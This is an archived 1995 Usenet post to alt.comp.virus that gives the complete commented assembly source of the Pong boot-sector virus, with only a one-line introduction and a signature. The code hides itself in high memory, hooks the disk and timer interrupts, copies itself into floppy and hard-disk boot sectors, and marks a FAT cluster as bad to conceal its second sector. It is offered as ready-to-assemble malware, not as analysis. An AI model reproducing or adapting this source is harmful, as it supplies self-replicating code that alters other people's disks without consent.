home *** CD-ROM | disk | FTP | other *** search
-
- Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
- From: danishm@iia.org ()
- Newsgroups: alt.comp.virus
- Subject: Pong
- Date: 5 Feb 1995 21:56:02 GMT
- Organization: International Internet Association.
- Lines: 624
- Message-ID: <3h3hhi$sb@ankh.iia.org>
- NNTP-Posting-Host: iia.org
- X-Newsreader: TIN [version 1.2 PL2]
-
- Here is the Pong virus:
-
-
-
- ; ORIGININ ADDRESS -7C00H
-
-
- RAM SEGMENT AT 0
-
- ; SYSTEM DATA
-
- ORG 20H
- INT8OF DW ? ; INTERRUPT 8 OFFSET
- INT8SG DW ? ; INTERRUPT 8 SEGMENT
- ORG 4CH
- INT19O DW ? ; INTERRUPT 19 OFFSET
- INT19S DW ? ; INTERRUPT 19 SEGMENT
- ORG 413H
- RAMSIZ DW ? ; TOTAL RAM SIZE
-
- ; BPB OF VIRUS BOOT RECORD
-
- ORG 7C0BH
- BYPSEC DW ? ; BYTES PER SECTOR
- NUMSEC DB ? ; SECTORS PER ALLOCATION UNIT
- SECRES DW ? ; RESERVED SECTORS
- FATNUM DB ? ; NUMBER OF FATS
- DIRNUM DW ? ; NUMBER OF ROOT DIR ENTRIES
- SECNUM DW ? ; NUMBER OF SECTORS
- MEDIAD DB ? ; MEDIA DESCRIPTOR
- SECFAT DW ? ; NUMBER OF SECTORS PER FAT
- SECTRK DW ? ; SECTORS PER TRACK
- HEDNUM DW ? ; NUMBER OF HEADS
- HIDSEC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
-
- ; INTERRUPT 19 (13H) BRANCH ADDRESS
-
- ORG 7D2AH
-
- ORIG19 DW ? ; ORIGINAL INT 19 OFFSET
- ORG19S DW ? ; ORIGINAL INT 19 SEGMENT
-
- ; INSTALLATION DATA AREA
-
- ORG 7DF3H
- CURFAT DW ? ; CURRENT FAT SECTOR
- CURCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
- SWITCH DB ? ; SWITCHES
- ; - 01H - NESTED INTERRUPT
- ; - 02H - TIMER INTERRUPT INSTALLED
- ; - 04H - 16-BIT FAT
- LSTDRV DB ? ; DRIVE LAST USED
- REMAIN DW ? ; SECTOR NUMBER OF REST OF CODE
- RESERV DB ? ; RESERVED SPACE FOR FUTURE HACKING
- FLAG01 DW ? ; FLAG FIELD
-
- ; DATA AREA
-
- ORG 7EB0H
- LASTTM DW ? ; SYSTEM TIME LAST CALLED
- PRCFAT DB ? ; PROCESSED FAT / 256
-
- ; INTERRUPT 8 BRANCH ADDRESS
-
- ORG 7FC9H
- ORG08O DW ? ; ORIGINAL INT 8 OFFSET
- ORG08S DW ? ; ORIGINAL INT 8 SEGMENT
-
- ; DISPLAY DATA AREA
-
- ORG 7FCDH
- CHARAT DW ? ; CHARACTER AND ATTRIBUTES
- ROWCOL DW ? ; ROW AND COLUMN POSITIONS
- ROWCLM DW ? ; ROW AND COLUMN MOVEMENT
- GRAPHM DB ? ; GRAPHICS MODE SWITCH
- MODEAP DW ? ; MODE AND ACTIVE PAGE
- COLUMN DB ? ; VISIBLE COLUMNS - 1
-
- ; BPB OF ORIGINAL BOOT RECORD
-
- ORG 800BH
- BIPSEC DW ? ; BYTES PER SECTOR
- ALCSEC DB ? ; SECTORS PER ALLOCATION UNIT
- VERVED DW ? ; RESERVED SECTORS
- RUMNUM DB ? ; NUMBER OF FATS
- ROTRID DW ? ; NUMBER OF ROOT DIR ENTRIES
- NUOSEC DW ? ; NUMBER OF SECTORS
- MIASET DB ? ; MEDIA DESCRIPTOR
- FASNUM DW ? ; NUMBER OF SECTORS PER FAT
- TRASSC DW ? ; SECTORS PER TRACK
- NUOHED DW ? ; NUMBER OF HEADS
- HIDESC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
-
-
- ORG 81F5H
- FSTCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
- SWITCB DB ? ; SWITCHES - 01H - NESTED INTERRUPT
- ; - 02H - TIMER INTERRUPT INSTALLED
- ; - 04H - 16-BIT FAT
- LASTUS DB ? ; DRIVE LAST USED
- REMAI2 DW ? ; SECTOR NUMBER OF REST OF CODE
- LATER2 DB ? ; TYPE SWITCH
- LATER3 DW 2 DUP (?) ; INSTALLED.. HMMM?
-
-
- RAM ENDS
-
- CODE SEGMENT BYTE PUBLIC 'CODE'
- ASSUME CS:CODE,DS:RAM
-
- START:
- JMP HIDE_ME_PLEASE ; BRANCH ROUND BPB TABLE
-
- DB 'MSDOS3.2' ; OEM AND VERSION
-
- DW 512 ; BYPSEC - BYTES PER SECTOR
- DB 2 ; NUMSEC - SECTORS PER ALLOCATION UNIT
- DW 1 ; SECRES - RESERVED SECTORS
- DB 2 ; FATNUM - NUMBER OF FATS
- DW 112 ; DIRNUM - NUMBER OF ROOT DIR ENTRIES
- DW 720 ; SECNUM - NUMBER OF SECTORS
- DB 0FDH ; MEDIAD - MEDIA DESCRIPTOR
- DW 2 ; SECFAT - NUMBER OF SECTORS PER FAT
- DW 9 ; SECTRK - SECTORS PER TRACK
- DW 2 ; HEDNUM - NUMBER OF HEADS
- DW 0 ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER)
-
- ; START OF PROCESSING
-
- ; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA
-
- HIDE_ME_PLEASE:
- XOR AX,AX
- MOV SS,AX ; STACK SEGMENT ZERO
- MOV SP,7C00H ; SET STACK POINTER TO START OF BUFFER
- MOV DS,AX ; DATA SEGMENT ZERO
- MOV AX,RAMSIZ ; GET TOTAL RAM SIZE
- SUB AX,2 ; SUBTRACT 2K
- MOV RAMSIZ,AX ; REPLACE AMENDED RAM SIZE
- MOV CL,6 ; NUMBER OF POSITIONS TO SHIFT
- SHL AX,CL ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS)
- SUB AX,7C0H ; SUBTRACT BUFFER OFFSET
- MOV ES,AX ; SET TARGET SEGMENT ADDRESS
- MOV SI,7C00H ; LOAD BUFFER TARGET OFFSET
- MOV DI,SI ; COPY OFFSET FOR SOURCE
- MOV CX,0100H ; NUMBER OF WORDS TO MOVE
- REPZ MOVSW ; DUPLICATE BOOT SECTOR IN HIGH STORAGE
- ; MOV CS,AX ; LOAD SEGMENT OF NEW LOCATION
- ; THIS IS THE ILLEGAL OPCODE!
- DB 08EH, 0C8H ; PREVIOUS COMMAND HARD CODED
-
- ; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE
-
- PUSH CS ; \ SET DS EQUAL TO CS
- POP DS ; /
- CALL SET_IT_UP
- SET_IT_UP:
- XOR AH,AH ; INITIALISE DISK SUB-SYSTEM
- INT 13H ; DISK INTERRUPT
- AND LSTDRV,80H ; SET ADDRESS FOR HARD DISK
- MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
- PUSH CS ; \ GET CURRENT SEGMENT
- POP AX ; /
- SUB AX,20H ; ADDRESS BACK ONE SECTOR
- MOV ES,AX ; SET BUFFER SEGMENT FOR REST OF CODE
- CALL READ_IT_IN ; READ REST OF CODE
- MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
- INC BX ; ADDRESS TO BOOT SECTOR STORE
- MOV AX,0FFC0H ; WRAP-AROUND ADDRESS (= -400H)
- MOV ES,AX ; SET BUFFER SEGMENT FOR BOOT SECTOR
- CALL READ_IT_IN ; READ REAL BOOT SECTOR
- XOR AX,AX
- MOV SWITCH,AL ; SET OFF ALL SWITCHES
- MOV DS,AX ; DATA SEGMENT ZERO
- MOV AX,INT19O ; SAVE INT 19 OFFSET
- MOV BX,INT19S ; SAVE INT 19 SEGMENT
- MOV INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET
- MOV INT19S,CS ; NEW INT 19 SEGMENT
- PUSH CS ; \ SET DS EQUAL TO CS
- POP DS ; /
- MOV ORIG19,AX ; STORE OLD INT 19 OFFSET
- MOV ORG19S,BX ; STORE OLD INT 19 SEGMENT
- MOV DL,LSTDRV ; GET DRIVE NUMBER
- DB 0EAH ; FAR JUMP TO BOOT SECTOR
- DW 7C00H, 0
-
- WRITE_IT_OUT:
- MOV AX,301H ; WRITE ONE SECTOR
- JMP SHORT GET_SECTOR
-
- READ_IT_IN:
- MOV AX,201H ; READ ONE SECTOR
- GET_SECTOR:
- XCHG BX,AX ; MOVE SECTOR NUMBER TO AX
- ADD AX,HIDSEC ; ADD HIDDEN SECTORS
- XOR DX,DX ; CLEAR FOR DIVISION
- DIV SECTRK ; DIVIDE BY SECTORS PER TRACK
- INC DL ; ADD ONE TO ODD SECTORS
- MOV CH,DL ; SAVE SECTOR NUMBER
- XOR DX,DX ; CLEAR FOR DIVISION
- DIV HEDNUM ; DIVIDE BY NUMBER OF HEADS
- MOV CL,6 ; POSITIONS TO MOVE
- SHL AH,CL ; MOVE TOP TWO BITS OF TRACK
- OR AH,CH ; MOVE IN SECTOR NUMBER
- MOV CX,AX ; MOVE TO CORRECT REGISTER
- XCHG CH,CL ; ..AND CORRECT POSITION IN REG
- MOV DH,DL ; MOVE HEAD NUMBER
- MOV AX,BX ; RECOVER CONTENTS OF AX
- BRING_IN:
- MOV DL,LSTDRV ; GET DRIVE NUMBER
- MOV BX,8000H ; SET BUFFER ADDRESS
- INT 13H ; DISK INTERRUPT
- JNB GO_BACK ; BRANCH IF NO ERRORS
- POP AX
- GO_BACK:
- RET
-
- ; INTERRUPT 19 (13H) (DISK) ROUTINE
-
- INT_19:
- PUSH DS
- PUSH ES
- PUSH AX
- PUSH BX
- PUSH CX
- PUSH DX
- PUSH CS ; \ SET DS EQUAL TO CS
- POP DS ; /
- PUSH CS ; \ SET ES EQUAL TO CS
- POP ES ; /
- TEST SWITCH,1 ; TEST NESTED INTERRUPT SWITCH
- JNZ PASS_OUT ; EXIT IF ON
- CMP AH,2 ; TEST FOR READ SECTOR
- JNZ PASS_OUT ; EXIT IF NOT
- CMP LSTDRV,DL ; COMPARE DRIVE NUMBER
- MOV LSTDRV,DL ; SAVE DRIVE NUMBER
- JNZ INT_SWITCH ; BRANCH IF DIFFERENT THIS TIME
-
- ; THIS IS THE ACTIVATION CODE. IT HAS A 'WINDOW' OF JUST LESS
- ; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH
- ; TIME A DISK-READ WILL SWITCH IT ON.
-
- XOR AH,AH ; GET SYSTEM CLOCK
- INT 1AH ; SYSTEM CLOCK INTERRUPT
- TEST DH,7FH ; TEST LOW WORD HIGH BYTE
- JNZ DO_TIME
- TEST DL,0F0H ; TEST LOW WORD LOW BYTE
- JNZ DO_TIME
- PUSH DX ; SAVE SYSTEM TIME
- CALL INTERRUPT_08 ; INSTALL SYSTEM CLOCK ROUTINE
- POP DX ; RECOVER SYSTEM TIME
- DO_TIME:
- MOV CX,DX ; COPY SYSTEM TIME
- SUB DX,LASTTM ; INTERVAL SINCE LAST CALL
- MOV LASTTM,CX ; SAVE SYSTEM TIME
- SUB DX,24H ; SUBTRACT 2 SECONDS
- JB PASS_OUT ; RETURN IF LESS THAN TWO SECONDS
- INT_SWITCH:
- OR SWITCH,1 ; SET ON NESTED INTERRUPT SWITCH
- PUSH SI
- PUSH DI
- CALL DISK_INSTALL ; INSTALL ON DISK
- POP DI
- POP SI
- AND SWITCH,0FEH ; SET OFF NESTED INTERRUPT SWITCH
- PASS_OUT:
- POP DX
- POP CX
- POP BX
- POP AX
- POP ES
- POP DS
- DB 0EAH ; FAR JUMP TO ORIGINAL INT 19
- DW 01FBH ; ORIG19 - ORIGINAL INT 19 OFFSET
- DW 0C800H ; ORG19S - ORIGINAL INT 19 SEGMENT
-
- ; DISK INSTALLATION
-
- DISK_INSTALL:
- MOV AX,201H ; READ ONE SECTOR
- MOV DH,0 ; HEAD NUMBER 0
- MOV CX,1 ; TRACK 0, SECTOR 1
- CALL BRING_IN ; READ FIRST SECTOR FROM DISK
- TEST LSTDRV,80H ; TEST FOR HARD DRIVE
- JZ FAT_CHECK ; BRANCH IF NOT
-
- ; HARD DISK - PARTITION TABLE
-
- MOV SI,81BEH ; ADDRESS TO PARTITION TABLE
- MOV CX,4 ; NUMBER OF ENTRIES IN TABLE
- NEXT_PART_ENTRY:
- CMP BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT
- JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
- CMP BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT
- JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
- ADD SI,10H ; ADDRESS TO NEXT ENTRY
- LOOP NEXT_PART_ENTRY ; LOOP THROUGH TABLE
- RET
-
- ; HARD DISK - GET BOOT RECORD
-
- SNARF_UP_THE_BOOT:
- MOV DX,[SI] ; GET HEAD NUMBER OF BOOT
- MOV CX,[SI+2] ; GET TRACK AND SECTOR OF BOOT
- MOV AX,201H ; READ ONE SECTOR
- CALL BRING_IN ; GET BOOT SECTOR FOR PARTITION
-
- ; BOOT SECTOR PROCESSING
-
- FAT_CHECK:
- MOV SI,8002H ; ADDRESS TO BPB SOURCE
- MOV DI,7C02H ; ADDRESS TO BPB TARGET
- MOV CX,1CH ; LENGTH OF BPB
- REPZ MOVSB ; COPY BPB
- CMP LATER3,1357H ; IS VIRUS INSTALLED ALREADY
- JNZ WHERE_BE_THE_FAT ; BRANCH IF NOT
- CMP LATER2,0
- JNB HEAD_EM_OUT
- MOV AX,FSTCLS ; GET SECTOR NO OF FIRST CLUSTER
- MOV CURCLS,AX ; SAVE IT
- MOV SI,REMAI2
- JMP PLACE_VIRUS
-
- HEAD_EM_OUT: RET
-
- ; CALCULATE LOCATION OF FAT AND FIRST CLUSTER
-
- WHERE_BE_THE_FAT:
- CMP BIPSEC,200H ; SECTOR SIZE 512
- JNZ HEAD_EM_OUT ; EXIT IF DIFFERENT SIZE
- CMP ALCSEC,2 ; SECTORS PER CLUSTER
- JB HEAD_EM_OUT ; EXIT IF LESS THAN 2
- MOV CX,VERVED ; GET RESERVED SECTORS
- MOV AL,RUMNUM ; NUMBER OF FATS
- CBW ; FILL OUT REGISTER
- MUL FASNUM ; SECTORS PER FAT
- ADD CX,AX ; SECTOR OF ROOT DIR
- MOV AX,20H ; LENGTH OF DIR ENTRY
- MUL ROTRID ; NUMBER OF DIR ENTRIES
- ADD AX,1FFH ; ROUND UP TO WHOLE SECTORS
- MOV BX,200H ; LENGTH OF SECTOR
- DIV BX ; SECTORS OF ROOT DIR
- ADD CX,AX ; SECTOR OF FIRST CLUSTER
- MOV CURCLS,CX ; SAVE THIS
- MOV AX,SECNUM ; GET NUMBER OF SECTORS
- SUB AX,CURCLS ; SUBTRACT NON-DATA SECTORS
- MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
- XOR DX,DX
- XOR BH,BH ; CLEAR TOP OF REGISTER
- DIV BX ; CALCULATE NUMBER OF CLUSTERS
- INC AX ; ALLOW FOR NUMBER ONE NOT USED
- MOV DI,AX
- AND SWITCH,0FBH ; SET OFF 16-BIT FAT SWITCH
- CMP AX,0FF0H ; SEE IF 12-BIT FAT
- JBE WRITE_FAT ; BRANCH IF YES
- OR SWITCH,4 ; SET ON 16-BIT FAT SWITCH
- WRITE_FAT:
- MOV SI,1 ; INITIALISE FAT ENTRY COUNT
- MOV BX,SECRES ; GET RESERVED SECTORS
- DEC BX ; ALLOW FOR ADDITION
- MOV CURFAT,BX ; SAVE CURRENT FAT SECTOR
- MOV PRCFAT,0FEH ; SET PROCESSED FAT LENGTH TO -2
- JMP SHORT READ_FAT
-
- ; DATA AREA
-
- DW 2 ; CURFAT - CURRENT FAT SECTOR
- DW 12 ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER
- DB 1 ; SWITCH - SWITCHES
- ; - 01H - NESTED INTERRUPT
- ; - 02H - TIMER INTERRUPT INSTALLED
- ; - 04H - 16-BIT FAT
- DB 0 ; LSTDRV - DRIVE LAST USED
- DW 02B8H ; REMAIN - SECTOR NUMBER OF REST OF CODE
- DB 0 ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING
- DW 1357H, 0AA55H ; FLAG01 - FLAG FIELD.
-
- ; END OF FIRST SECTOR, START OF SECOND
-
- ; SEARCH FAT FOR UNUSED CLUSTER
-
- READ_FAT:
- INC CURFAT ; ADDRESS TO NEXT FAT SECTOR
- MOV BX,CURFAT ; GET NEXT SECTOR NUMBER
- ADD PRCFAT,2 ; ADD TO PROCESSED FAT LENGTH
- CALL READ_IT_IN ; READ FAT SECTOR
- JMP SHORT GET_EM_NEXT
-
- FAT_SWITCH:
- MOV AX,3 ; LENGTH OF TWO FAT ENTRIES
- TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
- JZ FAT_ENTRY ; BRANCH IF OFF
- INC AX ; FOUR BYTES NOT THREE
- FAT_ENTRY:
- MUL SI ; MULTIPLY BY FAT ENTRY NUMBER
- SHR AX,1 ; DIVIDE BY TWO
- SUB AH,PRCFAT ; SUBTRACT PROCESSED FAT LENGTH
- MOV BX,AX ; COPY DISPLACEMENT
- CMP BX,1FFH ; SEE IF IN THIS SECTOR
- JNB READ_FAT ; BRANCH IF NOT
- MOV DX,[BX+8000H] ; GET ENTRY
- TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
- JNZ F_TEST_1 ; BRANCH IF ON
- MOV CL,4 ; POSITIONS TO MOVE
- TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
- JZ FAT_TOP ; BRANCH IF NOT
- SHR DX,CL ; SHIFT EVEN ENTRY INTO POSITION
- FAT_TOP:
- AND DH,0FH ; SWITCH OFF TOP BITS
- F_TEST_1:
- TEST DX,0FFFFH ; TEST ALL BITS
- JZ MAKE_BAD ; BRANCH IF NONE ON
- GET_EM_NEXT:
- INC SI ; NEXT FAT ENTRY
- CMP SI,DI ; HAS LAST ENTRY BEEN PROCESSED
- JBE FAT_SWITCH ; BRANCH IF NOT
- RET
-
- ; SPARE CLUSTER FOUND - INSTALL ON DISK
-
- MAKE_BAD:
- MOV DX,0FFF7H ; LOAD BAD SECTOR MARKER
- TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
- JNZ FIND_SECTOR ; BRANCH IF ON
- AND DH,0FH ; CONVERT MARKER TO FF7H
- MOV CL,4 ; BITS TO MOVE
- TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
- JZ FIND_SECTOR ; BRANCH IF NOT
- SHL DX,CL ; MOVE INTO POSITION
- FIND_SECTOR:
- OR [BX+8000H],DX ; PUT MARKER INTO FAT
- MOV BX,CURFAT ; GET SECTOR NUMBER
- CALL WRITE_IT_OUT ; WRITE FAT SECTOR
- MOV AX,SI ; GET ENTRY NUMBER
- SUB AX,2 ; SUBTRACT FIRST CLUSTER NUMBER
- MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
- XOR BH,BH ; CLEAR TOP OF REGISTER
- MUL BX ; CONVERT TO SECTORS
- ADD AX,CURCLS ; ADD SECTOR NUMBER OF 1ST CLUSTER
- MOV SI,AX ; SAVE REAL SECTOR NUMBER
- MOV BX,0 ; SECTOR ZERO
- CALL READ_IT_IN ; READ BOOT SECTOR
- MOV BX,SI ; GET OUTPUT SECTOR NUMBER
- INC BX ; ADDRESS TO NEXT SECTOR
- CALL WRITE_IT_OUT ; WRITE BOOT SECTOR TO STORE
- PLACE_VIRUS:
- MOV BX,SI ; GET OUTPUT SECTOR NUMBER
- MOV REMAIN,SI ; SAVE SECTOR NO OF REST OF CODE
- PUSH CS ; \ GET CURRENT SEGMENT
- POP AX ; /
- SUB AX,20H ; ADDRESS BACK TO VIRUS (2)
- MOV ES,AX ; SET BUFFER ADDRESS
- CALL WRITE_IT_OUT ; WRITE VIRUS (2)
- PUSH CS ; \ GET CURRENT SEGMENT
- POP AX ; /
- SUB AX,40H ; ADDRESS BACK TO VIRUS (1)
- MOV ES,AX ; SET BUFFER ADDRESS
- MOV BX,0 ; SECTOR ZERO
- CALL WRITE_IT_OUT ; WRITE VIRUS (1)
- RET
-
- DW 20CH ; LASTTM - SYSTEM TIME LAST CALLED
- DB 2 ; PRCFAT - PROCESSED FAT / 256
-
- ; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE
-
- INTERRUPT_08:
- TEST SWITCH,2 ; TEST INT 8 INSTALLED SWITCH
- JNZ FINISH_TIME ; BRANCH IF ON
- OR SWITCH,2 ; SET ON INT 8 INSTALLED SWITCH
- MOV AX,0 ; \ SEGMENT ZERO
- MOV DS,AX ; /
- MOV AX,INT8OF ; SAVE INT 8 OFFSET
- MOV BX,INT8SG ; SAVE INT 8 SEGMENT
- MOV INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET
- MOV INT8SG,CS ; NEW INT 8 SEGMENT
- PUSH CS ; \ SET DS EQUAL TO CS
- POP DS ; /
- MOV ORG08O,AX ; STORE OLD INT 8 OFFSET
- MOV ORG08S,BX ; STORE OLD INT 8 SEGMENT
- FINISH_TIME:
- RET
-
- ; INTERRUPT 10
-
- DO_VIDEO:
- PUSH DS
- PUSH AX
- PUSH BX
- PUSH CX
- PUSH DX
- PUSH CS ; \ SET DS EQUAL TO CS
- POP DS ; /
- MOV AH,0FH ; GET VDU PARAMETERS
- INT 10H ; VDU INTERRUPT
- MOV BL,AL ; VDU MODE
- CMP BX,MODEAP ; TEST MODE AND ACTIVE PAGE
- JZ CHARACTER_ATTRIB ; BRANCH IF UNCHANGED
- MOV MODEAP,BX ; SAVE MODE AND ACTIVE PAGE
- DEC AH ; VISIBLE COLUMNS
- MOV COLUMN,AH ; SAVE VISIBLE COLUMNS - 1
- MOV AH,1 ; GRAPHICS MODE SWITCH ON
- CMP BL,7 ; TEST FOR TELETYPE MODE
- JNZ IS_IT_GRAPHICS ; BRANCH IF NOT
- DEC AH ; GRAPHICS MODE SWITCH OFF
- IS_IT_GRAPHICS:
- CMP BL,4 ; TEST FOR GRAPHICS MODE
- JNB ROW_AND_COLUMN ; BRANCH IF GRAPHICS OR TELETYPE
- DEC AH ; GRAPHICS MODE SWITCH OFF
- ROW_AND_COLUMN:
- MOV GRAPHM,AH ; STORE GRAPHICS MODE SWITCH
- MOV ROWCOL,101H ; SET ROW AND COLUMN POSITIONS
- MOV ROWCLM,101H ; SET ROW AND COLUMN MOVEMENT
- MOV AH,3 ; GET CURSOR ADDRESS
- INT 10H ; VDU INTERRUPT
- PUSH DX ; SAVE CURSOR ADDRESS
- MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
- JMP SHORT VIDEO_01
-
- CHARACTER_ATTRIB:
- MOV AH,3 ; GET CURSOR ADDRESS
- INT 10H ; VDU INTERRUPT
- PUSH DX
- MOV AH,2 ; SET CURSOR ADDRESS
- MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
- INT 10H ; VDU INTERRUPT
- MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
- CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
- JNZ WRITE_CHAR ; BRANCH IF NOT
- MOV AX,8307H ; CHARACTER AND WRITE MODE
- WRITE_CHAR:
- MOV BL,AH ; MOVE ATTRIBUTE OR WRITE MODE
- MOV CX,1 ; ONLY ONCE
- MOV AH,9 ; WRITE CHARACTER AND ATTRIBUTES
- INT 10H ; VDU INTERRUPT
- VIDEO_01:
- MOV CX,ROWCLM ; GET ROW AND COLUMN MOVEMENT
- CMP DH,0 ; IS ROW ZERO
- JNZ VIDEO_02 ; BRANCH IF NOT
- XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
- INC CH ; /
- VIDEO_02:
- CMP DH,18H ; IS ROW 24
- JNZ VIDEO_04 ; BRANCH IF NOT
- XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
- INC CH ; /
- VIDEO_04:
- CMP DL,0 ; IS COLUMN 0
- JNZ VIDEO_05 ; BRANCH IF NOT
- XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
- INC CL ; /
- VIDEO_05:
- CMP DL,COLUMN ; IS COLUMN LAST VISIBLE COLUMN
- JNZ VIDEO_07 ; BRANCH IF NOT
- XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
- INC CL ; /
- VIDEO_07:
- CMP CX,ROWCLM ; COMPARE ROW AND COLUMN MOVEMENT
- JNZ VIDEO_09 ; BRANCH IF CHANGED
- MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
- AND AL,7 ; SWITCH OFF TOP BIT OF CHARACTER
- CMP AL,3 ; TEST BITS 1 AND 2
- JNZ VIDEO_08 ; BRANCH IF OFF
- XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
- INC CH ; /
- VIDEO_08:
- CMP AL,5 ; TEST BITS 1 AND 3
- JNZ VIDEO_09 ; BRANCH IF OFF
- XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
- INC CL ; /
- VIDEO_09:
- ADD DL,CL ; NEW COLUMN POSITION
- ADD DH,CH ; NEW ROW POSITION
- MOV ROWCLM,CX ; SAVE ROW AND COLUMN POSITIONS
- MOV ROWCOL,DX ; SAVE ROW AND COLUMN POSITIONS
- MOV AH,2 ; SET CURSOR ADDRESS
- INT 10H ; VDU INTERRUPT
- MOV AH,8 ; READ CHARACTER AND ATTRIBUTES
- INT 10H ; VDU INTERRUPT
- MOV CHARAT,AX ; SAVE CHARACTER AND ATTRIBUTES
- MOV BL,AH ; MOVE ATTRIBUTES
- CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
- JNZ VIDEO_10 ; BRANCH IF NOT
- MOV BL,83H ; WRITE MODE FOR GRAPHICS
- VIDEO_10:
- MOV CX,1 ; ONCE ONLY
- MOV AX,907H ; WRITE CHARACTER AND ATTRIBUTES
- INT 10H ; VDU INTERRUPT
- POP DX ; RESTORE CURSOR ADDRESS
- MOV AH,2 ; SET CURSOR ADDRESS
- INT 10H ; VDU INTERRUPT
- POP DX
- POP CX
- POP BX
- POP AX
- POP DS
- DB 0EAH ; FAR JUMP TO ORIGINAL INT 8
- DW 0907H ; ORG08O - ORIGINAL INT 8 OFFSET
- DW 10BDH ; ORG08S - ORIGINAL INT 8 SEGMENT
-
- DW 0720H ; CHARAT - CHARACTER AND ATTRIBUTES
- DW 1533H ; ROWCOL - ROW AND COLUMN POSITIONS
- DW 01FFH ; ROWCLM - ROW AND COLUMN MOVEMENT
- DB 0 ; GRAPHM - GRAPHICS MODE SWITCH
- DW 3 ; MODEAP - MODE AND ACTIVE PAGE
- DB 4FH ; DW7FD6 - VISIBLE COLUMNS - 1
-
-
- DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H
- DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H
- DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H
- DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH
- DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H
-
- ; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE
-
- CODE ENDS
-
- END START
-
-
-
-
-
-
- --
- Eric "Mad Dog" Kilby maddog@ccs.neu.edu
- The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
- Student at the Northeatstern University College of Computer Science
- "I Can't Believe It's Not Butter"
-
-